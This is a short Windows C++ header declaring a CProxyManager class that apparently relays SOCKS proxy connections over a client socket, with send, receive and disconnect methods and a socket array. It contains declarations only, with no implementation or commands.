2024-06-23 17:36:53 +08:00

39 lines
989 B
C++

// ProxyManager.h: interface for the CProxyManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_ProxyManager_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
#define AFX_ProxyManager_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "Manager.h"
class CProxyManager : public CManager
{
public:
CProxyManager(CClientSocket *pClient);
virtual ~CProxyManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
CRITICAL_SECTION Sec;
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
SOCKET m_Socket[10000];
void SendConnectResult(LPBYTE lpBuffer,DWORD ip,USHORT port);
private:
DWORD m_nSend;
};
static DWORD WINAPI SocksThread(LPVOID lparam);
struct SocksThreadArg
{
CProxyManager *pThis;
LPBYTE lpBuffer;
};
#endif // !defined(AFX_ProxyManager_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)